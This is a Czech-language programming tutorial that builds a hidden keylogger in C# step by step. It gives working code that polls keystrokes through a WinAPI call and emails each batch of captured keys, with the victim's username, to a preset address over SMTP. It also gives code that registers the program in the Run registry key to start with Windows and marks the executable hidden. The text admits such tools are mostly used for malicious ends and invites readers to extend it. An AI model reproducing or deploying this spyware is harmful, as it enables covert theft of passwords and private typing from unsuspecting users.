Jak naprogramovat keylogger
V dnešním díle si naprogramujeme jednoduchý keylogger. Pokud nemáte tušení, oč jde, vězte, že se jedná o druh programu, který se skryje v systému a snímá stisknuté klávesy, které vždy po určitém počtu odesílá na předem stanovenou e-mailovou adresu. Většinou je tento druh programu využíván k nekalým účelům, ale najdou se i rozumnější důvody k použití – například kontrola, co se děje na vašem počítači v době vaší nepřítomnosti apod. Při jeho programování se naučíme tyto dovednosti:
- Volání WinAPI funkcí (snímání kláves)
- Odesílání e-mailových zpráv (odeslání snímaných kláves)
- Ukládání hodnot do registrů (spuštění keyloggeru vždy po startu počítače)
- Nastavování atributů souboru (skrytí keyloggeru)
Program se vždy při startu zapíše do registru „po spuštění“ a skryje se ve složce, ze které byl spuštěn. Dále bude obsahovat časovač, který v rychlých sekvencích kontroluje aktuálně stisknuté klávesy. Pokud jejich počet dosáhne námi stanoveného počtu, budou odeslány na e-mail.
Jediným dialogem programu bude úvodní nastavení
Volání WinAPI funkcí
Windows API je základní softwarové rozhraní sytému Microsoft Windows obsahující desítky knihoven pro základní systémové operace. V jazyce C# máme drtivou většinu funkcí již předprogramovanou v .NET Frameworku. Existují však výjimky, kde musíme volat metody knihoven WinAPI. Deklarace těchto metod se provádí následujícím způsobem:
[System.Runtime.InteropServices.DllImport("název knihovny")]
static extern návratový_typ název_metody(argumenty.....)
Například takto deklarujeme WinAPI metodu GetAsyncKeyState knihovny user32.dll, která vrací aktuálně stisknutou klávesu:
[DllImport("User32.dll")]
static extern short GetAsyncKeyState(int vKey);
Posíláme klávesy na e-mail
Pro neustálou kontrolu stisknutých kláves je nutné tuto metodu volat v neustálých intervalech, k čemuž nám poslouží časovač představovaný třídou System.Windows.Forms.Timer. Tato komponenta obsahuje událost Tick, která pak představuje samotné tiknutí časovače vždy za určitý interval. Následující kód tedy zjistí stisknutou klávesu a přidá ji do paměti. Jakmile paměť dosáhne tří set znaků, celá dávka se odešle na e-mail.
Jelikož program zaznamenává stisk nejen základních znakových kláves, ale i ty s diakritikou, řídící a systémové, které systém identifikuje jinak než my, je nutné některé z nich pro snadnou orientaci přejmenovat – o to se postará metoda Replace.
void timer1_Tick(object sender, EventArgs e)
{
string keyBuffer = "";
// Snímá stisknuté klávesy
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
keyBuffer += Enum.GetName(typeof(Keys), i);
}
if (keyBuffer != "")
{
keyBuffer = keyBuffer.Replace("Space", " ");
keyBuffer = keyBuffer.Replace("Delete", "<Del>");
keyBuffer = keyBuffer.Replace("LShiftKey", "<SHIFT>");
keyBuffer = keyBuffer.Replace("ShiftKey", "");
keyBuffer = keyBuffer.Replace("OemQuotes", "!");
keyBuffer = keyBuffer.Replace("Oemcomma", "?");
keyBuffer = keyBuffer.Replace("D8", "á");
keyBuffer = keyBuffer.Replace("D2", "ì");
keyBuffer = keyBuffer.Replace("D3", "š");
keyBuffer = keyBuffer.Replace("D4", "è");
keyBuffer = keyBuffer.Replace("D5", "ø");
keyBuffer = keyBuffer.Replace("D6", "ž");
keyBuffer = keyBuffer.Replace("D7", "ý");
keyBuffer = keyBuffer.Replace("D9", "í");
keyBuffer = keyBuffer.Replace("D0", "é");
keyBuffer = keyBuffer.Replace("Back", "<==");
keyBuffer = keyBuffer.Replace("LButton", "<Levé myšítko>");
keyBuffer = keyBuffer.Replace("RButton", "<Pravé myšítko>");
keyBuffer = keyBuffer.Replace("NumPad", "");
keyBuffer = keyBuffer.Replace("OemPeriod", ".");
keyBuffer = keyBuffer.Replace("OemSemicolon", ",");
keyBuffer = keyBuffer.Replace("Oem4", "/");
keyBuffer = keyBuffer.Replace("LControlKey", "<CTRL>");
keyBuffer = keyBuffer.Replace("ControlKey", "<CTRL>");
keyBuffer = keyBuffer.Replace("Enter", "<ENT>");
keyBuffer = keyBuffer.Replace("Shift", "<SHIFT>");
keyBuffer = keyBuffer.ToLower();
klavesy += keyBuffer;
// Pokud je počet nasnímaných kláves roven nebo větší než
// námi definovaný počet, budou odeslány mailem
if (klavesy.Length >= kolikKlaves)
{
OdesliMail(mail,smtp, "klavesy@keylogger.cz" ,klavesy,
"Nasnímané klávesy uživatele " + Environment.UserName);
// Vynulování stisknutých kláves
klavesy = "";
}
}
}
Zatímco píšete článek v textovém procesoru, KeyLogger odesílá veškeré stisky kláves na předdefinovaný email
V poštovní zprávě jsou zaznamenány i všechny stisky funkčních kláves a v podobě zpětných šipek i mazání textu
Odesílání e-mailových zpráv
K posílání e-mailových zpráv slouží třída System.Net.Mail.SmtpClient do jejíž konstruktoru zadáme název smtp serveru na který má být zpráva zaslána. Následně je nutné vytvořit e-mailovou zprávu, která je představována instancí třídy MailMessage a odeslat ji metodou SendAsync třídy SmtpClient.
void OdesliMail(string adresa, string hostitel, string odesilatel, string obsah, string subject)
{
SmtpClient smtp = new SmtpClient(hostitel);
// Vytvoří e-mailovou zprávu
MailMessage zprava = new MailMessage(odesilatel, adresa, subject, obsah);
// Odešle zprávu
smtp.SendAsync(zprava,null);
}
Ukládání hodnot do registrů
Pro editování hodnot registrů slouží třída RegistryKey, jejíž instanci vytvoříme metodou Registry.LocalMachine.OpenSubKey, která jako argument očekává řetězec představující cestu k registru, do kterého chceme zapisovat metodou SetValue. První argument této metody představuje název klíče a druhý argument jeho hodnotu.
try
{
// Otevře registrový klíč "po spuštění"
RegistryKey klic = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\
Windows\\CurrentVersion\\Run", true);
// Nastaví hodnotu klíče registru tak, aby se tato aplikace spouštěla vždy při
// startu počítače
klic.SetValue("KeyLogger", Application.ExecutablePath);
klic.Close();
}
// Pokud se uložení do registrů nezdaří:
catch
{
MessageBox.Show("Nepodařilo se zapsat do registru");
}
Kód je ale ve skutečnosti trošku složitější, program si totiž do registru při prvním spuštění uloží také e-mail, na který má zprávy odesílat, a příslušný SMTP server. Tato část kódu je víceméně analogická, data pouze zapisujete a čtete z jiné oblasti systémového registru.
Nastavení atributů souboru
Pro nastavení atributů souboru použijeme statickou metodu SetAttributes třídy System.IO.File, která jako první argument očekává cestu k souboru jehož atributy chceme nastavit. Výčet možných atributů je uložen ve výčtovém typu FileAttributes a představuje druhý argument této metody. V našem případě chceme keylogger skrýt, a proto použijeme položku Hidden.
System.IO.File.SetAttributes(Application.ExecutablePath,
System.IO.FileAttributes.Hidden);
Snadno rozšiřitelný kód
A to je vlastně všechno. Obrázků dnes bylo pomálu, celá aplikace totiž pracuje na pozadí běhu Windows a obejde se bez ovládacích prvků. Zdrojový kód můžete snadno rozšířit, přidat ovládání třeba přes ikonu v oznamovací oblasti Windows a získávat informace o tom, který program má zrovna fokus a jeho název pro snazší orientaci vkládat do odesílaného textu.
Pokud tedy máte chuť a chcete přispět do našeho seriálu, pošlete nám kód na tento e-mail a my vaše úpravy zveřejníme v některém z příštích článků.
Nakonec nesmí chybět ani slíbený spustitelný program a projekt. K prvnímu budete potřebovat nainstalovaný novější Microsoft .NET Framework, pakliže si budete chtít projekt upravit a sestavit, budete potřebovat bezplatné vývojové prostředí Microsoft Visual C# 2008 Express Edition.